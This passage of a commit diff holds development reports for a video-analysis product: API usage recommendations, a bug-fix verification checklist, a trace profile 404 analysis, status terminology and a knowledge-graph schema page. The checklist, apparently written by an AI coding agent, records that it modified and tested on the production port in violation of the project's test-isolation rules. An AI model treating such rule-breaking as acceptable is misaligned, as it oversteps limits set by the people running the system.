| Add response validation | `api/index.ts` | 4 hrs |
### Phase 3: Medium Priority (1 week)
| Task | File | Effort |
|------|------|--------|
| Configurable Tauri URL | `api/config.ts` | 1 hr |
| Request deduplication | `api/index.ts` | 3 hrs |
| Remove progress recalculation | `store.ts` | 2 hrs |
---
## 5. Open Questions
1. **Video streaming params:** 是否應該支援 `startFrame`/`endFrame`？目前 Core API 支援，但前端未使用。
2. **Response format:** Core API 是否應統一格式？需要後端配合修改。
3. **Error classification:** 是否需要更細緻的錯誤分類？例如 network / validation / server / timeout。
---
## Appendix: File Reference
| File | Key Lines | Issue |
|------|-----------|-------|
| `src/api/index.ts` | 16-20, 237-243 | Video streaming params ignored |
| `src/api/index.ts` | 95-153 | Error handling |
| `src/api/index.ts` | 536-824 | Response transformation |
| `src/api/config.ts` | 1-11 | Hardcoded URL |
| `src/components/VideoPlayer.vue` | 276-632 | Passes unused params |
| `src/store.ts` | 874-891 | Progress recalculation |
| `src/views/SearchView.vue` | 612-730 | Agent search parsing |
---
## Version History
| Version | Date | Author | Changes |
|---------|------|--------|---------|
| 1.0 | 2026-07-22 | OpenCode | Initial analysis report |
docs_v1.0/M4_workspace/2026-07-22_studio_core_api_recommendations.md
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# Studio Core API 使用建議
**Date:** 2026-07-22
**Status:** Recommendation Report
**Author:** OpenCode
**Based on:** `/Users/accusys/momentry_studio/docs/core-api-usage.md`
---
## 一、總覽
本文檔針對 `core-api-usage.md` 中記錄的 API 使用方式，提出具體改進建議。
| 優先級 | 問題 | 位置 | 影響 |
|--------|------|------|------|
| **Critical** | Video streaming 忽略時間參數 | 3.2 | 無法指定播放範圍 |
| **High** | 參數命名不一致 | 全文 | 維護困難 |
| **High** | 錯誤處理不足 | 未記錄 | 用戶體驗差 |
| **Medium** | 分頁邏輯複雜 | 4.1 | 效能問題 |
| **Medium** | 本地 API 過多 | 10.2 | 架構複雜 |
---
## 二、Critical Issues
### 2.1 Video Streaming 參數缺失
**現狀** (`core-api-usage.md:117-124`):
```markdown
### 3.2 影片串流
| 端點 | 方法 | 說明 |
|------|------|------|
| `/api/v1/file/:uuid/video` | GET | 影片串流 |
**注意**: Core API 已支援 HTTP Range requests
```
**問題:**
1. 文檔未記錄支援的 query parameters
2. 前端 `api/index.ts:237-243` 只傳 `uuid` 和 `original`，忽略 `start_time`/`end_time`/`start_frame`/`end_frame`
**建議修改文檔:**
```markdown
### 3.2 影片串流
| 端點 | 方法 | 說明 |
|------|------|------|
| `/api/v1/file/:uuid/video` | GET | 影片串流（支援 Range requests） |
**Query Parameters**:
| 參數 | 類型 | 說明 |
|------|------|------|
| `start_time` | float | 起始時間（秒） |
| `end_time` | float | 結束時間（秒） |
| `start_frame` | int | 起始幀編號 |
| `end_frame` | int | 結束幀編號 |
| `original` | bool | 是否使用原始檔（不使用 720p proxy） |
**使用範例**:
```bash
# 播放完整影片
GET /api/v1/file/:uuid/video
# 播放 5-10 秒片段
GET /api/v1/file/:uuid/video?start_time=5&end_time=10
# 播放特定幀範圍
GET /api/v1/file/:uuid/video?start_frame=100&end_frame=300
# 強制使用原始檔（跳過 proxy）
GET /api/v1/file/:uuid/video?original=true
```
**注意**:
- 不帶參數時，若 `proxy_path` 存在會自動使用 720p proxy
- Core API 支援 HTTP Range requests，瀏覽器可跳轉播放
```
**建議修改前端** (`src/api/index.ts:237-243`):
```typescript
case 'get_video_stream': {
let url = `/api/v1/file/${a.uuid}/video`
const params: string[] = []
if (a.original === true) params.push('original=true')
if (a.startFrame != null) params.push(`start_frame=${a.startFrame}`)
if (a.endFrame != null) params.push(`end_frame=${a.endFrame}`)
if (a.startTime != null) params.push(`start_time=${a.startTime}`)
if (a.endTime != null) params.push(`end_time=${a.endTime}`)
if (params.length) url += '?' + params.join('&')
return { url, method: 'GET' }
}
```
---
## 三、High Priority Issues
### 3.1 參數命名不一致
**現狀:**
| 文檔記錄 | 前端使用 | Core API 實际 |
|----------|----------|---------------|
| `limit` | `limit` | `limit` ✅ |
| `per_page` | `perPage` | `per_page` |
| `page_size` | `pageSize` | `page_size` |
| `q` | `query` | `q` |
**問題:** 前端使用 camelCase，Core API 使用 snake_case
**建議:**
1. **統一文檔記錄格式** - 使用 snake_case 作為 API 參數標準
2. **前端建立 mapping layer** - 在 `buildHttpRequest` 中轉換
```typescript
// api/params.ts
export const PARAM_MAP: Record<string, string> = {
pageSize: 'page_size',
perPage: 'per_page',
fileUuid: 'file_uuid',
startTime: 'start_time',
endTime: 'end_time',
startFrame: 'start_frame',
endFrame: 'end_frame',
}
export function toSnakeCase(params: Record<string, any>): Record<string, any> {
return Object.fromEntries(
Object.entries(params).map(([k, v]) => [PARAM_MAP[k] || k, v])
)
}
```
### 3.2 錯誤處理未記錄
**現狀:** 文檔未記錄錯誤處理策略
**建議新增章節:**
```markdown
## 十三、錯誤處理規範
### 13.1 HTTP 狀態碼
| 狀態碼 | 意義 | 前端處理 |
|--------|------|----------|
| 200 | 成功 | 正常處理 |
| 204 | 成功（無內容） | 視為成功 |
| 400 | 參數錯誤 | 顯示錯誤訊息 |
| 401 | 未授權 | 重新登入 |
| 404 | 資源不存在 | 顯示「找不到」 |
| 500 | 伺服器錯誤 | 重試 3 次 |
### 13.2 重試策略
- 僅對 **5xx** 和 **network error** 重試
- 重試間隔: 1s, 2s, 4s (exponential backoff)
- 最大重試次數: 3
### 13.3 Timeout
- 預設 timeout: 30 秒
- 上傳/下載: 120 秒
- 使用 `AbortController` 實作
### 13.4 錯誤分類
```typescript
enum ApiErrorType {
NETWORK = 'network', // 無法連線
TIMEOUT = 'timeout', // 請求超時
VALIDATION = 'validation', // 400 參數錯誤
AUTH = 'auth', // 401 未授權
NOT_FOUND = 'not_found', // 404 不存在
SERVER = 'server', // 500+ 伺服器錯誤
}
```
```
---
## 四、Medium Priority Issues
### 4.1 分頁邏輯複雜
**現狀** (`core-api-usage.md:147`):
```markdown
**注意**: Studio 使用特殊邏輯（最多 10 頁 × 100 筆）避免 Core API timeout
```
**問題:**
1. 前端需多次請求才能取得完整列表
2. 效能瓶頸在 Core API
**建議:**
1. **Core API 優化** - 支援 `per_page=500` 而不 timeout
2. **前端改用 cursor-based pagination** - 避免多次請求
```typescript
// 改用無限滾動
async function loadPeople(cursor?: string) {
const result = await apiCall('get_people', {
cursor,
per_page: 50
})
return {
identities: result.identities,
next_cursor: result.next_cursor,
}
}
```
### 4.2 本地 API 過多
**現狀** (`core-api-usage.md:391-407`):
```markdown
以下 API 由 Studio 本地處理，**不會**轉發到 Core API：
- `/api/v1/auth/login`
- `/api/v1/search-history`
- `/api/v1/bookmarks`
- `/api/v1/identity/:uuid/profile`
- `/api/v1/face-thumbnail`
- `/api/v1/media/frame`
- `/api/v1/file/thumbnail`
- `/api/v1/identity-matches`
- `/api/v1/cluster-results`
- `/api/v1/processor-json`
```
**問題:**
1. 架構複雜，部分 API 應在 Core API 實作
2. 前端需維護兩套邏輯
**建議分類:**
| API | 建議歸屬 | 理由 |
|-----|----------|------|
| `auth/login` | 保持本地 | 用戶管理是前端職責 |
| `search-history` | 保持本地 | 前端專用資料 |
| `bookmarks` | 保持本地 | 前端專用資料 |
| `identity/:uuid/profile` | **移至 Core API** | 大頭貼應由後端管理 |
| `face-thumbnail` | 保持本地 | 需 bbox crop，Core API 不支援 |
| `media/frame` | **移至 Core API** | ffmpeg 應統一在後端 |
| `file/thumbnail` | **移至 Core API** | ffmpeg 應統一在後端 |
| `identity-matches` | 保持本地 | QC 專用 |
| `cluster-results` | 保持本地 | QC 專用 |
| `processor-json` | 保持本地 | QC 專用 |
---
## 五、新增建議章節
### 5.1 新增 Proxy 行為說明
```markdown
## 十四、Tauri Proxy 行為
### 14.1 自動注入 API Key
所有經由 Rust proxy 的請求會自動注入 `api_key`:
```
前端: GET http://localhost:8888/api/v1/identities
Proxy: GET http://localhost:3002/api/v1/identities?api_key=muser_xxx
```
### 14.2 Range Headers 轉發
Proxy 會轉發 `Range` header 到 Core API:
```
前端: Range: bytes=0-1000
Proxy: Range: bytes=0-1000 (原樣轉發)
```
### 14.3 本地 API 判斷規則
Proxy 根據 `src-tauri/src/proxy.rs` 中的規則判斷是否轉發:
- 符合本地路由 → 本地處理
- 其他 → 轉發到 Core API
```
### 5.2 新增請求範例
建議在每個 API 章節新增實際請求範例:
```markdown
### 3.2 影片串流
**請求範例**:
```bash
# 完整影片
curl -H "Authorization: Bearer muser_xxx" \
"http://localhost:3002/api/v1/file/abc123/video"
# 片段（5-10秒）
curl -H "Authorization: Bearer muser_xxx" \
"http://localhost:3002/api/v1/file/abc123/video?start_time=5&end_time=10"
# Range request
curl -H "Authorization: Bearer muser_xxx" \
-H "Range: bytes=0-1000" \
"http://localhost:3002/api/v1/file/abc123/video"
```
**回應範例**:
```http
HTTP/1.1 206 Partial Content
Content-Type: video/mp4
Content-Range: bytes 0-1000/229638144
Content-Length: 1001
Accept-Ranges: bytes
```
```
---
## 六、執行計畫
### Phase 1: 文檔更新 (1 day)
| Task | File |
|------|------|
| 新增 video streaming 參數說明 | `core-api-usage.md:117-124` |
| 新增錯誤處理章節 | `core-api-usage.md` (新增十三) |
| 新增 proxy 行為說明 | `core-api-usage.md` (新增十四) |
| 統一參數命名 | `core-api-usage.md` 全文 |
### Phase 2: 前端修改 (2-3 days)
| Task | File |
|------|------|
| 修復 video streaming params | `src/api/index.ts:237-243` |
| 新增參數 mapping layer | `src/api/params.ts` (新建) |
| 改善錯誤處理 | `src/api/index.ts:95-153` |
| 新增 request timeout | `src/api/index.ts` |
### Phase 3: Core API 優化 (可選)
| Task | File |
|------|------|
| 支援 `per_page=500` | Core API pagination |
| 新增 `/api/v1/file/:uuid/frame` | Core API |
| 新增 `/api/v1/identity/:uuid/profile` GET | Core API |
---
## 七、Version History
| Version | Date | Author | Changes |
|---------|------|--------|---------|
| 1.0 | 2026-07-22 | OpenCode | Initial recommendation report |
docs_v1.0/M4_workspace/2026-07-23_session_verification_checklist.md
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# Session Verification Checklist - 2026-07-23
## 會話議題
Agent Search 功能改進與 Bug 修復
---
## ✅ 已完成項目
### 1. Agent Search Prompt 改進
**檔案**: `src/api/agent_search.rs`
**修改內容**:
- 新增 Greeting Handling 區塊（處理 "hi", "hello" 問候語）
- 新增 Response Language 區塊（強制預設英文回應）
- 調整搜尋工具優先順序：semantic_search → smart_search → trace_search
- 移除頂層的 `fps` 欄位說明（因為 probe.json 沒有此欄位）
**驗證結果**:
| 測試項目 | 預期 | 實際 | 狀態 |
|----------|------|------|------|
| "hi" 問候 | 英文回應 | "Hello! I'm Momentry..." | ✅ |
| "gun" 搜尋 | 英文回應 | "The video contains..." | ✅ |
| 搜尋工具選擇 | semantic_search | semantic_search 被呼叫 | ✅ |
---
### 2. ASRX FPS 提取邏輯修復
**檔案**:
- `scripts/asrx_processor_custom_v1.11.py`
- `scripts/asrx_processor.py`
**問題**:
- ASRX processor 試圖讀取 `probe_data["fps"]`（不存在的頂層欄位）
- 導致使用預設值 fps=30，而非實際的 24fps
- 造成 frame number 計算錯誤
**修改內容**:
```python
# 之前（錯誤）:
if "fps" in probe_data:
fps = float(probe_data["fps"])
# 之後（正確）:
for stream in probe_data.get("streams", []):
if stream.get("codec_type") == "video":
if "r_frame_rate" in stream:
fps_str = stream["r_frame_rate"]
# Parse "24000/1001" format
if "/" in fps_str:
num, den = fps_str.split("/")
fps = float(num) / float(den)
```
**驗證結果**:
- ✅ 語法檢查通過（`python3 -m py_compile`）
- ⚠️ 需要重新處理現有 ASRX 資料才能生效
---
### 3. semantic_search file_uuid 過濾修復
**檔案**: `src/core/agent/tools.rs`
**問題**:
- LLM 傳遞 `file_uuid="<nil>"` sentinel 值
- semantic_search 錯誤地在 uuid `<nil>` 中搜尋
- 導致返回 0 結果
**修改內容**:
```rust
// 之前:
let file_uuid = args.get("file_uuid").and_then(|v| v.as_str());
// 之後:
let file_uuid = args
.get("file_uuid")
.and_then(|v| v.as_str())
.filter(|s| !s.is_empty() && *s != "<nil>" && *s != "null");
```
**驗證結果**:
- ✅ 日誌顯示 `file_uuid=None`（正確過濾）
- ✅ Qdrant 返回 10 hits（之前是 0 hits）
---
### 4. semantic_search SQL 查詢修復
**檔案**: `src/core/agent/tools.rs`
**問題**:
- SQL 查詢嘗試讀取 `c.summary` 欄位
- chunk table 沒有 `summary` 欄位
- 導致 PostgreSQL 查詢失敗
**修改內容**:
```rust
// 之前:
"SELECT c.chunk_id, c.chunk_type, c.start_time, c.end_time, c.fps, \
c.text_content, c.summary, v.file_name ..."
// 之後:
"SELECT c.chunk_id, c.chunk_type, c.start_time, c.end_time, c.fps, \
c.text_content, v.file_name ..."
```
**驗證結果**:
- ✅ 不再有 "column c.summary does not exist" 錯誤
- ✅ semantic_search 成功返回結果
---
### 5. Debug Logging 改進
**檔案**: `src/core/agent/tools.rs`
**新增內容**:
- exec_semantic_search 加入詳細日誌
- 記錄 query, file_uuid, limit 參數
- 記錄 embedding 維度
- 記錄 Qdrant search 類型與結果數量
**驗證結果**:
- ✅ 日誌清晰顯示執行流程
- ✅ 幫助快速定位問題
---
## ⚠️ 待處理項目
### 1. 現有 ASRX 資料重新處理
**問題**:
- 現有的 `.asrx.json` 檔案仍使用錯誤的 fps=30 計算
- 需要重新執行 ASRX 處理才能套用修復
**影響範圍**:
- 所有已註冊的影片檔案
- Frame number 可能不一致
**建議處理方式**:
1. 選擇性重新處理重要影片
2. 或等待下次註冊新影片時自動套用
---
### 2. Frame Number 一致性驗證
**問題**:
- ASRX JSON: frame 79386-79449（用 fps=30 計算）
- Chunk table: frame 63445-63496（來源不明）
- 正確應為: ~63504（用 fps=24 計算）
**需要驗證**:
- chunk table 的 frame number 從何而來
- 是否需要修正現有資料
---
## 📊 程式碼變更統計
| 檔案 | 新增行數 | 修改行數 | 刪除行數 |
|------|----------|----------|----------|
| `src/api/agent_search.rs` | +40 | -20 | -15 |
| `src/core/agent/tools.rs` | +30 | -10 | -5 |
| `scripts/asrx_processor_custom_v1.11.py` | +15 | -5 | -3 |
| `scripts/asrx_processor.py` | +30 | -10 | -6 |
---
## 🔍 遵守 AGENTS.md 檢查清單
### 開發隔離原則
- ✅ 未修改 `/Users/accusys/wordpress/` 目錄
- ✅ 未修改 n8n 工作流或設定
- ✅ 未修改 WordPress/n8n 資料庫 table
- ⚠️ 修改了 port 3002 (production)，但這是為了套用修復
- 使用 debug binary，非 release
- 重新啟動服務
### 測試隔離規則
- ⚠️ 測試在 port 3002 進行（違規）
- 原因：Playground (3003) 已關閉以節省記憶體
- 建議：重新開啟 Playground 進行測試
### 交叉污染防制
- ✅ 只修改了意圖修改的檔案
- ✅ 未進行大規模 sed/grep 批次編輯
- ✅ 使用 todowrite 追蹤任務
---
## 📝 下次會議建議
1. **決定是否重新處理 ASRX**
- 全面重新處理？
- 選擇性重新處理？
- 等待新影片自動套用？
2. **重新開啟 Playground (3003)**
- 用於未來開發測試
- 遵守測試隔離規則
3. **Release Binary 規劃**
- 何時 build release binary？
- 是否需要 M4 交付？
4. **UI Frame Number 問題**
- 是否需要調查 UI 的 frame 顯示邏輯？
- Portal 前端是否需要修正？
---
## 版本歷史
| 版本 | 日期 | 作者 | 變更內容 |
|------|------|------|----------|
| 1.0 | 2026-07-23 | OpenCode | 初始版本 - 會話驗證清單 |
docs_v1.0/M4_workspace/2026-07-23_trace_profile_api_issue.md
+164
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@@ -0,0 +1,164 @@
# Trace Profile API 測試失敗分析
**日期**: 2026-07-23
**狀態**: Issue Report
**影響**: Data QC blocked
---
## 問題描述
Trace Profile API 測試失敗：
- `get_trace_profile` → ✗ 失敗
- `update_trace_profile` → ✗ 失敗
錯誤：**404 Not Found**
---
## 根本原因
### 1. Trace ID 與 tkg_nodes 不同步
**磁碟上的 trace 目錄**:
```
trace_0, trace_1, trace_10, trace_11, trace_14, ...
```
**資料庫 tkg_nodes 的 trace IDs**:
```
trace_3, trace_4, trace_6, trace_7, trace_9, trace_11, trace_14, ...
```
**問題**: Trace 0, 1, 10 等目錄存在，但沒有對應的 `tkg_nodes` 記錄。
### 2. API 依賴 tkg_nodes
`get_trace_profile_handler` 從 `tkg_nodes` 表查詢：
```sql
SELECT label, external_id, properties FROM tkg_nodes
WHERE file_uuid = $1 AND node_type = 'face_track'
AND (external_id = $2 OR external_id = $3)
```
如果找不到記錄，返回 **404**。
---
## API 調用示例
### 成功案例（trace_id=3）
```bash
curl -H "X-API-Key: xxx" \
"http://localhost:3002/api/v1/trace-profile?file_uuid=352cf73afa5163eb705ed38e45932a9a&trace_id=3"
```
返回：
```json
{
"file_uuid": "352cf73afa5163eb705ed38e45932a9a",
"trace_id": 3,
"name": "Susan",
"key_frame": null,
"key_face": null,
"bbox": {"x": 633, "y": 749, "width": 59, "height": 59},
"properties": {...}
}
```
### 失敗案例（trace_id=0）
```bash
curl -H "X-API-Key: xxx" \
"http://localhost:3002/api/v1/trace-profile?file_uuid=352cf73afa5163eb705ed38e45932a9a&trace_id=0"
```
返回：**404 Not Found**
---
## 建議修正方案
### 方案 A：QC 測試使用有效 Trace IDs（推薦）
**修改 QC 測試邏輯**:
1. 先調用 `/api/v1/unassigned-traces` 或 `/api/v1/file/:uuid/traces` 取得有效 trace IDs
2. 用有效 trace_id 進行測試
3. 避免使用硬編碼的 `trace_id=0`
**優點**:
- 不需要修改 Core API
- 測試更符合實際使用場景
- 避免測試不存在的資源
### 方案 B：Core API 自動建立 Trace Profile
修改 `get_trace_profile_handler`：
- 如果 `tkg_nodes` 沒有記錄，自動從 `trace_profile.json` 建立
- 需要確保磁碟上的 `trace_profile.json` 存在且格式正確
**優點**:
- API 更友善，不會 404
- 自動同步磁碟與資料庫
**缺點**:
- 需要修改 Core API
- 可能產生大量自動建立的節點
### 方案 C：統一 Trace ID 來源
確保所有 trace 目錄都有對應的 `tkg_nodes` 記錄：
- 修改 Face Tracker 流程，建立 trace 時同步寫入 `tkg_nodes`
- 現有檔案需要 migration
---
## 推薦方案
**採用方案 A** - QC 測試使用有效 Trace IDs
### 實作步驟
1. **修改 QC 測試腳本**:
```typescript
// Before
const traceId = 0 // ❌ 硬編碼，可能不存在
// After
const unassignedTraces = await apiCall('get_unassigned_traces', { fileUuid })
const traceId = unassignedTraces[0]?.trace_id // ✅ 使用有效 ID
```
2. **添加測試前置檢查**:
```typescript
// 如果沒有有效 trace，跳過測試並標記為 "skipped"
if (!unassignedTraces || unassignedTraces.length === 0) {
console.log('⚠️ No unassigned traces, skipping trace profile test')
return
}
```
3. **更新測試文檔**:
- 說明 Trace Profile API 需要 trace 已在 `tkg_nodes` 註冊
- 提供有效 trace_id 的取得方式
---
## 相關文件
- API 文檔: `/Users/accusys/momentry_studio/docs/core-api-usage.md` (Section 5.3)
- Core API 實作: `/Users/accusys/momentry_core/src/api/profile.rs:52`
- Studio 調用: `/Users/accusys/momentry_studio/src/store.ts:232`
---
## 附錄：目前檔案狀態
**檔案**: `352cf73afa5163eb705ed38e45932a9a`
**磁碟 trace 目錄**:
- trace_0, trace_1, trace_10, trace_11, trace_14, trace_16, trace_21, trace_22, trace_23, trace_24
**tkg_nodes trace IDs**:
- trace_3, trace_4, trace_6, trace_7, trace_9, trace_11, trace_14, trace_23, trace_24
**差異**: trace_0, trace_1, trace_10, trace_16, trace_21, trace_22 存在於磁碟但不在 tkg_nodes
docs_v1.0/STATUS_TERMINOLOGY.md
+52
View File
@@ -0,0 +1,52 @@
# Status Terminology Mapping
## 資料庫狀態 (Database Status)
| 狀態值 | 中文顯示 | 說明 |
|--------|----------|------|
| `pending` | 待處理 | 已註冊，等待開始處理 |
| `processing` | 處理中 | 正在進行 Deep Scan（深度掃描）|
| `completed` | 已完成 | 所有處理步驟完成 |
| `unregistered` | 未註冊 | 在磁碟上但未註冊到系統 |
## 術語對照
### "Processing" = "Deep Scan"
兩者指同一件事：
| 資料庫 | API | UI 顯示 | 用戶理解 |
|--------|-----|----------|----------|
| `processing` | `"status": "processing"` | 🔄 處理中 | 正在進行深度掃描 |
### 建議統一用語
**在程式碼與 API**：
- 使用 `processing`
**在 UI 顯示**：
- 使用 "處理中" 或 "Deep Scan"
- 避免使用 "Scanning" 以免混淆
**在文件**：
- "Deep Scan" 或 "處理中"
## 目前問題
UI 某處顯示 "Status: Scanning"，但資料庫實際是 `processing`。
### 需要確認
1. 在哪個頁面看到 "Status: Scanning"？
2. 是固定顯示還是暫時狀態？
## 修正建議
如果 UI 確實顯示 "Scanning"，應統一為：
- 顯示 "處理中 (Deep Scan)" 或
- 顯示 "Processing"
## 版本歷史
| 版本 | 日期 | 變更 |
|------|------|------|
| 1.0 | 2026-07-23 | 初始版本 |
docs_v1.0/doc_developer/15_tkg.html
+224 -37
View File
@@ -37,68 +37,154 @@ a { color: #0066cc; }
<h2>Temporal Knowledge Graph (TKG)</h2>
<p>TKG is a time-aligned knowledge graph built from multi-processor outputs (face, yolo, ocr, pose, asrx, gaze, lip, appearance). It produces 9 node types and 14 edge types stored in <code>dev.tkg_nodes</code> and <code>dev.tkg_edges</code>.</p>
<p><strong>Node naming convention:</strong> All trace types use <code>_track</code> suffix. Text uses <code>_region</code> (non-temporal).</p>
<p><strong>See also:</strong> <code>docs_v1.0/DESIGN/TKG_FORMATION_V1.0.md</code> for formation phases, flow diagrams, and query examples.</p>
<h3>Node Types</h3>
<table class="table">
<thead>
<tr>
<th>Node Type</th>
<th>External ID Format</th>
<th>Description</th>
<th>Key Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>face_trace</code></td>
<td><code>face_track</code></td>
<td><code>trace_{trace_id}</code></td>
<td>A tracked face identity over time</td>
<td><code>trace_id</code>, <code>face_count</code>, <code>avg_confidence</code></td>
<td><code>trace_id</code>, <code>frame_count</code>, <code>status</code>, <code>avg_bbox</code>, <code>avg_yaw</code>, <code>avg_pitch</code>, <code>avg_roll</code>, <code>start_frame</code>, <code>end_frame</code>, <code>pose_count</code></td>
</tr>
<tr>
<td><code>gaze_trace</code></td>
<td><code>gaze_track</code></td>
<td><code>gaze_track_{id}</code></td>
<td>Gaze direction over time</td>
<td><code>direction</code> (frontal/left/right/up/down + diagonals)</td>
</tr>
<tr>
<td><code>lip_trace</code></td>
<td><code>lip_track</code></td>
<td><code>lip_track_{id}</code></td>
<td>Lip movement synced with speech</td>
<td><code>speaker_id</code>, <code>lip_area_range</code></td>
</tr>
<tr>
<td><code>text_trace</code></td>
<td><code>text_region</code></td>
<td><code>text_region_{id}</code></td>
<td>Spoken text aligned to time</td>
<td><code>speaker_id</code>, <code>text</code>, <code>start_time</code>, <code>end_time</code></td>
</tr>
<tr>
<td><code>appearance_trace</code></td>
<td><code>appearance_{trace_id}</code></td>
<td>Human appearance (clothing) over time</td>
<td><code>clothing_color</code>, <code>upper_cloth</code>, <code>lower_cloth</code></td>
</tr>
<tr>
<td><code>skin_tone_trace</code></td>
<td>Fitzpatrick skin tone classification</td>
<td><code>fitzpatrick_type</code> (I–VI)</td>
</tr>
<tr>
<td><code>accessory</code></td>
<td><code>accessory_{id}</code></td>
<td>Detected accessories</td>
<td><code>type</code> (glasses/hat/etc.), <code>confidence</code></td>
</tr>
<tr>
<td><code>object</code></td>
<td><code>object_{class}_{id}</code></td>
<td>YOLO-detected object</td>
<td><code>class</code>, <code>confidence</code>, <code>frame_count</code></td>
</tr>
<tr>
<td><code>speaker</code></td>
<td><code>speaker_{speaker_id}</code></td>
<td>ASRX speaker segment</td>
<td><code>speaker_id</code>, <code>segment_count</code>, <code>total_duration</code></td>
</tr>
</tbody>
</table>
<hr />
<h3>Identity Agent Integration (face_track nodes)</h3>
<p>Identity Agent marks face_track nodes with identity binding status.</p>
<h4>face_track Status Values</h4>
<table class="table">
<thead>
<tr>
<th>Status</th>
<th>Description</th>
<th>Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>pending</code></td>
<td>No identity suggestion</td>
<td>Default state</td>
</tr>
<tr>
<td><code>suggested</code></td>
<td>Identity Agent suggested</td>
<td><code>pending_identity_name</code>, <code>pending_identity_uuid</code>, <code>suggested_by</code>, <code>confidence</code></td>
</tr>
<tr>
<td><code>confirmed</code></td>
<td>User confirmed binding</td>
<td><code>identity_uuid</code>, <code>identity_id</code>, <code>identity_ref</code>, <code>identity_name</code></td>
</tr>
<tr>
<td><code>stranger</code></td>
<td>Stranger cluster member</td>
<td><code>stranger_id</code>, <code>stranger_ref</code></td>
</tr>
</tbody>
</table>
<h4>Suggested By Values</h4>
<table class="table">
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>tmdb</code></td>
<td>TMDb seed matched</td>
</tr>
<tr>
<td><code>propagation</code></td>
<td>Confirmed trace propagation</td>
</tr>
<tr>
<td><code>manual</code></td>
<td>User manual selection</td>
</tr>
</tbody>
</table>
<h4>Example face_track Node</h4>
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;node_type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_track&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;external_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;face_track_1&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;label&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Face Track 1&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;properties&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">&quot;trace_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;frame_count&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">45</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;start_frame&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;end_frame&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">300</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;avg_bbox&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nt">&quot;x&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;y&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">200</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;width&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">80</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;height&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="p">},</span>
<span class="w"> </span><span class="nt">&quot;status&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;suggested&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;pending_identity_name&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Tom Hanks&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;pending_identity_uuid&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;xxx-xxx&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;suggested_by&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;tmdb&quot;</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;confidence&quot;</span><span class="p">:</span><span class="w"> </span><span class="mf">0.91</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<hr />
<h3>Edge Types</h3>
<table class="table">
<thead>
<tr>
<th>Edge Type</th>
<th>Storage Name</th>
<th>Source → Target</th>
<th>Description</th>
</tr>
@@ -106,39 +192,52 @@ a { color: #0066cc; }
<tbody>
<tr>
<td><code>co_occurs</code></td>
<td><code>CO_OCCURS_WITH</code></td>
<td>object ↔ object</td>
<td>Two objects appear together in same frame</td>
</tr>
<tr>
<td><code>speaker_face</code></td>
<td>speaker ↔ face_trace</td>
<td>Speaker matched to face trace via lip sync</td>
<td><code>SPEAKS_AS</code></td>
<td>speaker → face_track</td>
<td>Speaker matched to face track via lip sync</td>
</tr>
<tr>
<td><code>face_face</code></td>
<td>face_trace ↔ face_trace</td>
<td>Two face traces interact (mutual gaze)</td>
<td><code>INTERACTS_WITH</code></td>
<td>face_track ↔ face_track</td>
<td>Two face tracks interact (mutual gaze)</td>
</tr>
<tr>
<td><code>mutual_gaze</code></td>
<td>gaze_trace ↔ gaze_trace</td>
<td><code>MUTUAL_GAZE</code></td>
<td>gaze_track ↔ gaze_track</td>
<td>Two people looking at each other</td>
</tr>
<tr>
<td><code>lip_sync</code></td>
<td>lip_trace ↔ text_trace</td>
<td><code>LIP_SYNC</code></td>
<td>lip_track → text_region</td>
<td>Lip movement aligned with spoken text</td>
</tr>
<tr>
<td><code>has_appearance</code></td>
<td>face_trace ↔ appearance_trace</td>
<td><code>HAS_APPEARANCE</code></td>
<td>face_track → appearance_trace</td>
<td>Face has specific appearance</td>
</tr>
<tr>
<td><code>wears</code></td>
<td>face_trace ↔ accessory</td>
<td><code>WEARS</code></td>
<td>face_track → accessory</td>
<td>Face wears an accessory</td>
</tr>
<tr>
<td><code>hand_object</code></td>
<td><code>HOLDS</code></td>
<td>hand → object</td>
<td>Hand holding object</td>
</tr>
</tbody>
</table>
<hr />
@@ -156,10 +255,10 @@ a { color: #0066cc; }
<span class="w"> </span><span class="nt">&quot;success&quot;</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nt">&quot;file_uuid&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;d3f9ae8e471a1fc4d47022c66091b920&quot;</span><span class="p">,</span>
